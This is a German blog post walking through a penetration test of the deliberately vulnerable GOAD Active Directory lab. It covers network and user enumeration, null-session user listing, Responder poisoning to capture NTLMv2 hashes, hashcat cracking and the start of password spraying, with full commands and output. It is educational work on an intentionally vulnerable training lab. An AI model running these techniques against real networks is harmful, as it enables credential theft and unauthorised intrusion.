(Game Of) Active Directory Pentesting

Alexander Dressel - December 11, 2024 - 28 mins read

Was ist GOAD?

GOAD (Game Of Active Directory) ist eine Microsoft Active Directory Umgebung, welche von Orange Cyberdefense entworfen wurde. Diese Umgebung beinhaltet zwei Domänen, diverse Nutzer mit deren Computern und Servern. Hier werden Windows Server verwendet, die eine Evaluation-Lizenz besitzen. Das heißt, die Server laufen in 180 Tagen ab.

Die Umgebung weist zahlreiche Schwachstellen auf. In diesem Blogbeitrag sehen wir uns einige Möglichkeiten an, ein Active Directory am Beispiel des GOAD Labs zu enumerieren und anzugreifen.

Installation

GOAD mit Virtualbox

Ich habe die Installation über Virtualbox auf einem Bare Metal Server durchgeführt. Eine Dokumentation zu jener Installation wurde direkt von den Entwicklern des GOAD Labs bereitgestellt: https://orange-cyberdefense.github.io/GOAD/installation/. Zu beachten ist die Konfiguration einer Authentifizierung per SSH-Keys, um Passwort Bruteforcing zu vermeiden. Bereits kurz nach Aufsetzen des Ubuntu Servers konnte ich bereits mehrfach Login-Versuche feststellen, welche nicht von mir stammen.

Ich habe die Installation auch mit Ubuntu 24.04 versucht, jedoch scheitert sie hier an der Installation wegen Parsing-Problemen aufgrund unterschiedlicher Softwareversionen.

Tipp

Falls die Installation remote durchgeführt wird, kann über das Werkzeug “screen” die Installation im Hintergrund ausgeführt werden. “screen” erstellt weitere Terminal Prozesse, welche mit entsprechenden Shortcuts und Befehlen verwaltet werden können.

Falls es zu Problemen bei der Virtualbox Installation kommen sollte, empfehle ich das Paket von der offiziellen Virtualbox Seite zu beziehen: https://www.virtualbox.org/wiki/Linux_Downloads. Gegebenenfalls müssen noch die Linux Header nach installiert werden. Hierfür muss die benötigte Header-Version bestimmt werden:

VBoxManage --version

In meinem Fall war es die Kernel-Version 5.15.0-126-generic. Deswegen wird das Paket “linux-headers-5.15. 0-126-generic” nachinstalliert.

apt install linux-headers-generic linux-headers-5.15.0-126-generic

Nach der Header Installation muss VirtualBox neugebaut werden. Hierfür muss der folgende Befehl eingegeben werden:

/sbin/vboxconfig

Side Fact

Diese Header Files beinhalten die Variablen- und Funktionsdeklarationen des Kernel-Codes. Da Virtualbox mit dem Kernel arbeitet und auch die Funktionen des Kernel Codes referenziert, werden die Header Files für das Bauen des Virtualbox Pakets benötigt.

Angriffscomputer

Ich habe den Angriffscomputer direkt als virtuelle Maschine im Lab deployed. Hierbei habe ich eine Kali VM in VirtualBox hinzugefügt (https://www.kali.org/get-kali/#kali-virtual-machines). Der Kali VM habe ich NAT und das Host-Only Netzwerk “vboxnet0” als Netzwerk-Interfaces zugewiesen. Bei NAT muss noch ein Port Forwarding des SSH-Ports konfiguriert werden. Ich habe mich hier für den Host-Port 22222 entschieden. Auf ein VPN verzichte ich wegen Problemen bei “proxychains”. Zur Sicherheit verwende ich für die Authentifizierung SSH-Keys.

Falls kein Kali Linux für den Angriffscomputer verwendet wird, ist hier eine Auflistung der benötigten Software:

NetExec
Kerbrute
Impacket toolkit
Bloohound.py (mit BloodHound CE Unterstützung)
proxychains
Nmap
python3

Netzwerkzugriff auf das Lab

Da ich den Server über einen Hosting-Provider beziehe und dieser eine öffentliche IP-Adresse besitzt, sollte der Server per Firewall Regeln entsprechend abgesichert werden. Hier verwende ich die Firewall des Providers, damit ich bei einer Fehlkonfiguration der Firewall den Zugriff über die öffentliche IP-Adresse temporär freischalten kann.

Konkret ist eine “Deny All” Regel für den eingehenden Traffic sinnvoll mit einem Whitelisting der öffentlichen IP-Adresse des Arbeitsrechners. Bei Möglichkeit können ausschließlich die eingehenden SYN-Pakete des TCP-Handshakes verboten werden. Dies sorgt dafür, dass keine Sitzungen von außen aufgebaut werden können. Zu beachten ist, dass SYN-ACK-Pakete erlaubt sein müssen, da diese bei Verbindungsaufbau vom anderen Host gesendet werden. Hierbei wäre folgende Reihenfolge sinnvoll:

Erlauben aller Pakete durch öffentliche IP-Adresse des Arbeitsrechners
Erlauben von eingehenden SYN-ACK Paketen.
Verbot von eingehenden SYN-Paketen.
(Ggf. Erlauben des weiteren TCP-Traffics)

So können nun keine Sitzungen von außen (außer dem Arbeitsrechner) aufgebaut werden. Der Server kann jedoch Sitzungen nach außen aufbauen.

Enumeration

Nach erfolgreicher Verbindung in das GOAD-Netzwerk ist uns der Aufbau des Netzwerks noch unbekannt. Es existiert zwar ein Diagramm zu GOAD, auf diesen möchten wir jedoch verzichten, um eine möglichst realitätsnahe Situation zu erschaffen. Da wir das Netzwerk also nicht kennen, stellen sich einige Fragen:

Wie viele Domain Controller gibt es?
Wie viele Domains gibt es?
Welche IP-Adressen haben die Maschinen?
Welche Nutzer befinden sich in den Domänen?

Übersicht zu Netzwerk aufbauen

Wir versuchen nun diese Fragen mithilfe geeigneter Tools zu beantworten. Zu Beginn sollten wir herausfinden, welches Netzwerk-Interface relevant für uns ist. Wir überprüfen per ip add unsere Interfaces:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:6e:13:6e brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
       valid_lft 85422sec preferred_lft 85422sec
    inet6 fd00::d7b1:8578:2c74:4a9d/64 scope global dynamic noprefixroute 
       valid_lft 86118sec preferred_lft 14118sec
    inet6 fe80::607e:b633:7bf7:72ce/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:56:77:69 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.106/24 brd 192.168.56.255 scope global dynamic noprefixroute eth1
       valid_lft 527sec preferred_lft 527sec
    inet6 fe80::a6a7:b04c:d747:d7bf/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

“l0” als Loopback-Interface ist hier nicht relevant. “eth0” ist mit der IP-Adresse 10.0.2.15/14 Teil des NAT-Netzwerks, worüber der SSH-Zugang realisiert wird. Zuletzt bleibt “eth1” mit der IP-Adresszuweisung 192.168.56.106/24 übrig. Mit dem Responder können wir feststellen, ob über diesem Netzwerk-Interface relevanter Traffic aus dem Active Directory übertragen wird. Hier sehen wir folgenden Output:

[Analyze mode: NBT-NS] Request by 192.168.56.11 for BRAVOS, ignoring
[Analyze mode: MDNS] Request by 192.168.56.11 for Bravos.local, ignoring
[Analyze mode: MDNS] Request by fe80::1d21:6ae1:90ee:f68d for Bravos.local, ignoring
[Analyze mode: MDNS] Request by 192.168.56.11 for Bravos.local, ignoring
[Analyze mode: LLMNR] Request by fe80::1d21:6ae1:90ee:f68d for Bravos, ignoring

Hier werden also MDNS, LLMNR und NBT-NS Pakete über das Netzwerk 192.168.56.0/24 verschickt. Dies sind Namensauflösungs-Protokolle, welche unter anderem in einem Active Directory verwendet werden. Gegebenenfalls sind hier auch andere Netzwerke identifizierbar, beispielsweise sind per Routing verbundene Netzwerke nicht per ìp add auffindbar, diese sollten im nächsten Schritt ebenfalls beachtet werden.

Um nun mehr über das AD zu erfahren, verwenden wir “NetExec”, unter Kali mit dem Alias “nxc”. Wir senden also mit dem Befehl nxc smb 192.168.56.0/24 SMB-Pakete an alle 254 Ziele im 192.168.56.0/24 Netzwerk. Hierbei erhalten wir folgenden Output:

SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)

Wir erkennen hier also fünf Server, welche jeweils Windows Server 2016 oder 2019 Installation beinhalten. Daneben befinden sich die Server in verschiedenen Domains. Auch zu beachten ist, dass manche Server, keine Signaturen verwenden und somit die Authentizität nicht gegeben ist. Hier wären Man-In-The-Middle Attacken denkbar, welche wir im Verlauf von diesem Beitrag noch betrachten.

Domain Controller bestimmen

Drei dieser Server müssen also Domain Controller sein, denn es existieren drei Domains. Gehen wir nun davon aus, dass 192.168.56.10 einen DNS-Server bereitstellt. Zu beachten ist, dass DCs normalerweise einen DNS-Server bereitstellen. Nun versuchen wir über DNS-Querries, die IP-Adressen der DCs zu ermitteln.

Domain “SEVENKINGDOMS”

Um nun die IP-Adresse bzw. den FQDN für den DC von “SEVENKINGDOMS” zu bestimmen, muss per DNS-Query nach dem DC Service innerhalb der Domain gesucht werden. Der entsprechende Service verbirgt sich hinter der Subdomain “ldap._tcp.dc._msdcs”. Zusätzlich ist bei der Query der Typ “SRV” zu beachten, welcher explizit die Suche nach Services vorschreibt. Demnach entspricht der folgende Befehl unserern Suchparametern: nslookup -type=srv _ldap. _tcp.dc._msdcs.sevenkingdoms.local 192.168.56.10. Ein Aufruf jenes Befehls ergibt folgendes Ergebnis:

Server:         192.168.56.10
Address:        192.168.56.10#53

_ldap._tcp.dc._msdcs.sevenkingdoms.local        service = 0 100 389 kingslanding.sevenkingdoms.local.

Wir sehen nun, dass “kingslanding.sevenkingdoms.local” ein Domain Controller für die Domain “SEVENKINGDOMS” ist. Um nun die IP-Adresse des Domain Controllers herauszufinden, führen wir eine DNS-Query auf dem DNS-Server 192.168.56. 10 nach “kingslanding” wie folgt aus: nslookup kingslanding.sevenkingdoms.local. 192.168.56.10. Die entsprechende Ausgabe:

Name:   kingslanding.sevenkingdoms.local
Address: 192.168.56.10

Also ist der Server mit der IP-Adresse 192.168.56.10 unser Domain Controller.

Domain “NORTH”

Analog zum obigen Vorgehen. Hier ist der Host mit der IP-Adresse 192.168.56.11 für die Domain.

Domain “ESSOS”

Analog zum obigen Vorgehen. Hier ist der Host mit der IP-Adresse 192.168.56.12 für die Domain.

Services auf den Servern bestimmen

Ein Port-Scan per “nmap” auf den fünf Servern wird einige der verwendeten Service offenlegen. Wir nutzen hier den Parameter -A von “nmap”. Dieser versucht das Betriebssystem und Service-Versionen zu ermitteln. Daneben sorgt der Parameter dafür, dass Scan-Skripte verwendet werden (ohne weitere Angabe sind das die Standard-Skripte von “nmap”). Das A steht hier für “Aggressive”. Daneben nutzen wir den Parameter -Pn. Dieser sorgt dafür, dass auf Pings verzichtet wird. Denn bei erfolglosen Pings wird der Server von “nmap” ignoriert. Da Antworten auf ICMP-Pings unterbunden werden können, deaktivieren wir dieses Feature. Somit ergibt sich folgender Befehl:

nmap -Pn -A 192.168.56.10-12,22-23

Die Scan-Ausführung dauert einen Moment. Das Ergebnis wird folgend visuell mit einer stichpunktartigen Erläuterung dargestellt, da die Ausgabe zu lang ist. Die originale Ausgabe ist unter https://alexdrsl.de/goad/nmap-output.txt zu finden.

192.168.56.10 / KINGSLANDING
- Domain Controller für Domain SEVENKINGDOMS
- Stellt diverse LDAP-Services bereit (Ports 389, 636, 3268 und 3269)
- Bietet Möglichkeit zur Kerberos-Authentifizierung (Port 88 und 464)
- NTLM-Unterstützung (Port 3389 akzeptiert NTLM-Pakete)
192.168.56.11 / WINTERFELL
- Analog zu 192.168.56.10 bzw. KINGSLANDING
- Domain Controller für Domain NORTH
192.168.56.12 / MEEREEN
- Analog zu 192.168.56.10 bzw. KINGSLANDING
- Domain Controller für Domain ESSOS
192.168.56.22 / CASTELBLACK
- Teil von Domain NORTH
- Stellt SQL-Service bereit (Port 1433)
192.168.56.23 / BRAAVOS
- Analog zu 192.168.56.23 bzw. CASTELBLACK
- Teil von Domain ESSOS

Nutzer und Konfiguration identifizieren

Eine potenzielle Nutzerliste des ADs kann per OSINT ermittelt werden. Hier bietet sich beispielsweise die LinkedIn oder Xing Präsenz des anzugreifenden Unternehmens an, wo ein Großteil der Mitarbeiter gelistet ist. Da sich dieses Lab um die Serie “Game Of Thrones” dreht, ist hier die Charakterliste der Serie sinnvoll, welche im Internet bei HBO auffindbar ist (https://www.hbo.com/game-of-thrones/cast-and-crew). Im Folgenden wird die Charakterliste mit folgendem Python-Skript generiert:

import requests
from lxml import html
from lxml.cssselect import CSSSelector

url = "https://www.hbo.com/game-of-thrones/cast-and-crew"
data = requests.get(url)

page = html.fromstring(data.content)
selector = CSSSelector('div.card-metadata-content div.card-metadata-button.usePointer')
users_formatted = [".".join(el.get("title").lower().strip().split(" ")[0:2]) for el in selector(page)]

with open('got_users.txt', 'w') as f:
    for user in users_formatted:
        f.write(f"{user}\n")

Das Skript hat hier die Nutzerliste “got_users.txt” generiert (original auffindbar unter https://alexdrsl.de/goad/got_users.txt), die an das Tool “Kerbrute” übergeben können. Dieses Tool führt eine Kerberos Pre-Authentification mit jedem Nutzer durch und kann anhand der Antwort des Domain Controllers ermitteln, ob jener Nutzer teil des Active Directories ist. Näheres zu Pre-Authentification wird in naher Zukunft in einem Blogartikel über Kerberos näher erläutert. Kerbrute ist leider nicht auf Kali vorinstalliert. Binaries sind unter https://github.com/ropnop/kerbrute/releases auffindbar. Wir führen die Enumeration für jede Domain separat durch.

Domain “SEVENKINGDOMS”

Befehl:

./kerbrute userenum -d SEVENKINGDOMS.LOCAL --dc 192.168.56.10 got_users.txt

Ausgabe:

2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:26 >  [+] VALID USERNAME:       [email protected]

Domain “NORTH”

Befehl:

./kerbrute userenum -d NORTH.SEVENKINGDOMS.LOCAL --dc 192.168.56.11 got_users.txt

Ausgabe:

2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:52:56 >  [+] VALID USERNAME:       [email protected]

Domain “ESSOS”

Befehl:

./kerbrute userenum -d ESSOS.LOCAL --dc 192.168.56.12 got_users.txt

Ausgabe:

2024/12/22 12:53:39 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:53:39 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:53:39 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:53:39 >  [+] VALID USERNAME:       [email protected]
2024/12/22 12:53:39 >  [+] VALID USERNAME:       [email protected]

Zusätzlich kann versucht werden, eine “Null Session” bzw. anonyme Sitzung mit den DCs aufzubauen, um Informationen aus dem Active Directory auszulesen, ohne valide Credentials zu kennen. Zu beachten ist, dass anonyme Sitzungen seitens des Domain Controllers standardmäßig deaktiviert sind. Die Erfolgsquote ist in der Realität also relativ gering.

Um nun die Nutzer über eine anonyme Sitzung zu bestimmen, kann das Tool “NetExec” verwendet werden. Der Befehl lautet wie folgt: nxc smb 192.168.56.10-12 --users. “NetExec” versucht nun die Nutzerliste, auf allen drei Domain Controllern abzufragen. Nach Ausführung erhalten wir folgenden Output:

SMB         192.168.56.11   445    WINTERFELL       -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         192.168.56.11   445    WINTERFELL       Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         192.168.56.11   445    WINTERFELL       arya.stark                    2024-12-19 16:53:07 0       Arya Stark 
SMB         192.168.56.11   445    WINTERFELL       sansa.stark                   2024-12-19 16:53:15 0       Sansa Stark 
SMB         192.168.56.11   445    WINTERFELL       brandon.stark                 2024-12-19 16:53:17 0       Brandon Stark 
SMB         192.168.56.11   445    WINTERFELL       rickon.stark                  2024-12-19 16:53:19 0       Rickon Stark 
SMB         192.168.56.11   445    WINTERFELL       hodor                         2024-12-19 16:53:21 0       Brainless Giant 
SMB         192.168.56.11   445    WINTERFELL       jon.snow                      2024-12-19 16:53:23 0       Jon Snow 
SMB         192.168.56.11   445    WINTERFELL       samwell.tarly                 2024-12-19 16:53:25 0       Samwell Tarly (Password : Heartsbane) 
SMB         192.168.56.11   445    WINTERFELL       jeor.mormont                  2024-12-19 16:53:26 0       Jeor Mormont 
SMB         192.168.56.11   445    WINTERFELL       sql_svc                       2024-12-19 16:53:28 0       sql service

Der Domain Controller WINTERFELL (Domain NORTH) unterstützt offenbar anonyme Sitzungen und gibt die Nutzerliste entsprechend zurück. Interessant ist hierbei der Nutzer “samwell.tarly”, denn dieser hat sein Passwort “Heartsbane” in der Beschreibung hinterlegt.

Weiter können wir so die Passwort Policy, Gruppen und viele weitere Informationen auslesen. Aktuell ist jedoch die Passwort Policy für ein Spraying am interessantesten. Also nutzen wir den Befehl, wie oben nur mit dem --pass-pol Parameter: nxc smb 192.168.56.10-12 --pass-pol. Die Passwort-Policy der Domain “NORTH” sieht demnach wie folgt aus:

SMB         192.168.56.11   445    WINTERFELL       Minimum password length: 5
SMB         192.168.56.11   445    WINTERFELL       Password history length: 24
SMB         192.168.56.11   445    WINTERFELL       Maximum password age: 311 days 2 minutes 
SMB         192.168.56.11   445    WINTERFELL       
SMB         192.168.56.11   445    WINTERFELL       Password Complexity Flags: 000000
SMB         192.168.56.11   445    WINTERFELL           Domain Refuse Password Change: 0
SMB         192.168.56.11   445    WINTERFELL           Domain Password Store Cleartext: 0
SMB         192.168.56.11   445    WINTERFELL           Domain Password Lockout Admins: 0
SMB         192.168.56.11   445    WINTERFELL           Domain Password No Clear Change: 0
SMB         192.168.56.11   445    WINTERFELL           Domain Password No Anon Change: 0
SMB         192.168.56.11   445    WINTERFELL           Domain Password Complex: 0
SMB         192.168.56.11   445    WINTERFELL       
SMB         192.168.56.11   445    WINTERFELL       Minimum password age: 1 day 4 minutes 
SMB         192.168.56.11   445    WINTERFELL       Reset Account Lockout Counter: 5 minutes 
SMB         192.168.56.11   445    WINTERFELL       Locked Account Duration: 5 minutes 
SMB         192.168.56.11   445    WINTERFELL       Account Lockout Threshold: 5
SMB         192.168.56.11   445    WINTERFELL       Forced Log off Time: Not Set

Eine minimale Passwortlänge von fünf ist unsicher und erhöht die Erfolgswahrscheinlichkeit beim folgenden Password Spraying, sowie Knacken der NTLM-Hashes.

Der Versuch die Domain Informationen der anderen Domänen über einen anonymen LDAP Bind mit dem Tool “windapsearch” auszulesen ist leider erfolglos auf allen drei Domain Controllern. Ein anonymer Bind ist hier das LDAP-Pendant der (SMB) Null Session. Hier wird ebenfalls versucht eine Verbindung ohne Credentials aufzubauen.

Zusammenfassung

Damit haben wir die oben gestellten Fragen beantwortet.

Wie viele Domains gibt es? Drei: NORTH.SEVENKINGDOMS, SEVENKINGDOMS und ESSOS
Welche IP-Adressen haben die Maschinen? Die IP-Adressen befinden sich im 192.168.56.0/24 Netzwerk, im 4. Oktett ist hier die 10, 11, 12, sowie 22 und 23 vergeben.
Welche davon sind die Domain Controller?
- SEVENKINGDOMS: 192.168.56.10
- NORTH.SEVENKINGDOMS: 192.168.56.11
- ESSOS: 192.168.56.12
Welche Nutzer befinden sich in den Domänen? Die Nutzerlisten sind unter den folgenden Links aufzufinden:
- Nutzer in SEVENKINGDOMS (OSINT): https://alexdrsl.de/goad/valid_sk_users.txt
- Nutzer in NORTH (Null Session): https://alexdrsl.de/goad/anon_no_users
- Nutzer in ESSOS (OSINT): https://alexdrsl.de/goad/valid_es_users.txt

Angriffe

Poisoning mit Responder

Um eine vollständige Nutzerliste der anderen beiden Domänen zu erhalten und besser in die Systeme einzudringen, benötigen wir Nutzer Credentials. Eine Möglichkeit ist das Abfangen von Broadcast-Nachrichten und das Versenden von poisoned Antworten. Diese Attacke baut auf Microsofts Namenauflösungs-Protokolle LLMNR (Link-Local Multicast Name Resolution) und NBT-NS (NetBIOS Name Service) auf. Diese kommen zu Einsatz, wenn der DNS Server die angefragte Domain nicht kennt, beispielsweise wegen eines Tippfehlers, fehlerhaften Verknüpfung oder sogar Phishing. Hier schickt das jeweilige Windows Gerät eine Broadcast Nachricht an das gesamte Netzwerk, um “selber” herauszufinden wer sich hinter der Domain versteckt, da der DNS-Server keine zufriedenstellende Antwort gegeben hat. Da es sich hier um Broadcast Nachrichten handelt, können wir diese mitlesen und sogar darauf antworten.

Das Tool “Responder” übernimmt diese Aufgabe automatisch und gibt sich hier selber als die gesuchte Domain aus. Somit werden dem Responder die Authentifizierungsanfragen gesendet, welche eigentlich für die unbekannte Domain bestimmt sind. Diese Anfragen beinhalten einen NTLM-Hash des Nutzers mit dessen Passwort. Diesen Hash können wir im außerdem späteren Verlauf nutzen, um einen Relay-Angriff auszuführen. Nun geben wir uns aber mit dem Hash zufrieden und versuchen diesen mit dem Tool “hashcat” zu knacken.

Wir starten also den Responder mit den Standard-Einstellungen: sudo responder -I eth1. Wichtig ist hier das richtige Interface beim Parameter -I anzugeben, auf dem die poisoned Antworten gesendet werden sollen. Nach ein wenig Geduld wird an zwei Nutzer eine poisoned Antwort geschickt:

[*] [MDNS] Poisoned answer sent to 192.168.56.11   for name Meren.local
[*] [MDNS] Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Meren.local
[*] [MDNS] Poisoned answer sent to 192.168.56.11   for name Meren.local
[*] [LLMNR]  Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Meren
[*] [MDNS] Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Meren.local
[*] [LLMNR]  Poisoned answer sent to 192.168.56.11 for name Meren
[*] [LLMNR]  Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Meren
[*] [LLMNR]  Poisoned answer sent to 192.168.56.11 for name Meren
[SMB] NTLMv2-SSP Client   : fe80::1d21:6ae1:90ee:f68d
[SMB] NTLMv2-SSP Username : NORTH\eddard.stark
[SMB] NTLMv2-SSP Hash     : eddard.stark::NORTH:dc5d5b602a5a9b46:B1440C74313F5886ABF2ECC539346DD7:0101000000000000806AF6849A54DB01242A808600CB896900000000020008005600320045004F0001001E00570049004E002D004F005200550048005800580047004F0034005800310004003400570049004E002D004F005200550048005800580047004F003400580031002E005600320045004F002E004C004F00430041004C00030014005600320045004F002E004C004F00430041004C00050014005600320045004F002E004C004F00430041004C0007000800806AF6849A54DB010600040002000000080030003000000000000000000000000030000021F3AF9ACE8CA1583C563BE7D30C64702E1DF1E2C5C908BB30275DB6EC1A08B70A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
[*] [MDNS] Poisoned answer sent to 192.168.56.11   for name Bravos.local
[*] [LLMNR]  Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Bravos
[*] [MDNS] Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Bravos.local
[*] [MDNS] Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Bravos.local
[*] [MDNS] Poisoned answer sent to 192.168.56.11   for name Bravos.local
[*] [LLMNR]  Poisoned answer sent to 192.168.56.11 for name Bravos
[*] [LLMNR]  Poisoned answer sent to 192.168.56.11 for name Bravos
[*] [LLMNR]  Poisoned answer sent to fe80::1d21:6ae1:90ee:f68d for name Bravos
[SMB] NTLMv2-SSP Client   : fe80::1d21:6ae1:90ee:f68d
[SMB] NTLMv2-SSP Username : NORTH\robb.stark
[SMB] NTLMv2-SSP Hash     : robb.stark::NORTH:54540756f579401d:2FDC35042414DCF9A7934F079D285F1E:0101000000000000806AF6849A54DB01BC47C9E89383B70800000000020008005600320045004F0001001E00570049004E002D004F005200550048005800580047004F0034005800310004003400570049004E002D004F005200550048005800580047004F003400580031002E005600320045004F002E004C004F00430041004C00030014005600320045004F002E004C004F00430041004C00050014005600320045004F002E004C004F00430041004C0007000800806AF6849A54DB010600040002000000080030003000000000000000000000000030000021F3AF9ACE8CA1583C563BE7D30C64702E1DF1E2C5C908BB30275DB6EC1A08B70A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000

Die Nutzer haben hier versucht, die SQL-Server “BRAAVOS” und “MEEREN” zu erreichen. Jedoch hat sich ein Schreibfehler (“MEREN” statt “MEEREN” bzw. “BRAVOS” statt “BRAAVOS) eingeschlichen und die “Backup-Namensauflösung” LLMNR wurde verwendet.

Die jeweiligen NTLMv2-SSP Hashwerte versuchen wir nun mit Hashcat, dem NetNTLMv2 (5600) Modus und der “rockyou” Wordlist zu knacken: hashcat -m 5600 robb_stark.hash /usr/share/wordlists/rockyou.txt. Für den Nutzer “eddard.stark” findet Hashcat leider kein Passwort. Für den Nutzer “robb.stark” erhalten wir jedoch eine positive Rückmeldung:

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

ROBB.STARK::NORTH:54540756f579401d:2fdc35042414dcf9a7934f079d285f1e:0101000000000000806af6849a54db01bc47c9e89383b70800000000020008005600320045004f0001001e00570049004e002d004f005200550048005800580047004f0034005800310004003400570049004e002d004f005200550048005800580047004f003400580031002e005600320045004f002e004c004f00430041004c00030014005600320045004f002e004c004f00430041004c00050014005600320045004f002e004c004f00430041004c0007000800806af6849a54db010600040002000000080030003000000000000000000000000030000021f3af9ace8ca1583c563be7d30c64702e1df1e2c5c908bb30275db6ec1a08b70a001000000000000000000000000000000000000900160063006900660073002f0042007200610076006f0073000000000000000000:sexywolfy
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ROBB.STARK::NORTH:54540756f579401d:2fdc35042414dcf9...000000
Time.Started.....: Sun Dec 22 18:01:20 2024 (1 sec)
Time.Estimated...: Sun Dec 22 18:01:21 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1032.8 kH/s (0.82ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1298432/14344385 (9.05%)
Rejected.........: 0/1298432 (0.00%)
Restore.Point....: 1297408/14344385 (9.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: shaddow13 -> sexytime1234
Hardware.Mon.#1..: Util: 92%

Started: Sun Dec 22 18:01:19 2024
Stopped: Sun Dec 22 18:01:23 2024

Das Passwort von “robb.stark” lautet also “sexywolfy”.

Password Spraying

Beim Password Spraying wird eine Authentifizierung mit ein und demselben Passwort bei allen bekannten AD-Nutzern versucht. Wenn der Versuch erfolglos war, wird ein anderes Passwort bei allen Nutzern ausprobiert. Solange bis ein konkretes Passwort gefunden wurde. Zu beachten ist jedoch eine Account-Sperre bei zu vielen, erfolglosen Login-Versuchen.

Für das Password Spraying können wir das Tool “sprayhound” verwenden. Installierbar per apt install sprayhound Hier nehmen wir die Liste aller validen AD-Nutzer und eine Liste möglicher Passwörter. Oft verwenden Nutzer ihren Nutzernamen als Passwort, daher nutzen wir den Parameter --user-as-pass. Zusätzlich ist es sinnvoll das Password Spraying über einen validen Nutzer durchzuführen, z.B. “robb.stark”. Hierfür nutzen wir die Parameter -lu (Nutzername) und -lp (Passwort).

Um die Liste der validen Nutzer zu identifizieren, nutzen wir den Nutzer “robb.stark” mit dessen Passwort “sexywolf”. Denn dieser kann sich per SMB auch an den anderen Domänen SEVENKINGDOMS und ESSOS authentifizieren und die Nutzerlisten ausgeben. Alternativ kann auch die ursprüngliche Nutzerliste verwendet werden, welche wir durch OSINT in Kombination mit der mangelnde Pre-Authentification generiert haben. Die Ausgabe über den Nutzer robb.stark spiegelt die Nutzerliste jedoch 1:1 wider.

Domain “SEVENKINGDOMS”

Befehl um die validen Nutzer zu identifizieren:

nxc smb 192.168.56.10 -d NORTH.SEVENKINGDOMS.LOCAL -u robb.stark -p sexywolfy --users

Valide Nutzer:

SMB         192.168.56.10   445    KINGSLANDING     -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         192.168.56.10   445    KINGSLANDING     Administrator                 2024-12-19 16:18:23 0       Built-in account for administering the computer/domain 
SMB         192.168.56.10   445    KINGSLANDING     Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         192.168.56.10   445    KINGSLANDING     krbtgt                        2024-12-19 16:25:49 0       Key Distribution Center Service Account 
SMB         192.168.56.10   445    KINGSLANDING     vagrant                       2021-05-12 11:38:55 0       Vagrant User 
SMB         192.168.56.10   445    KINGSLANDING     tywin.lannister               2024-12-19 16:53:07 0       Tywin Lanister 
SMB         192.168.56.10   445    KINGSLANDING     jaime.lannister               2024-12-19 16:53:09 0       Jaime Lanister 
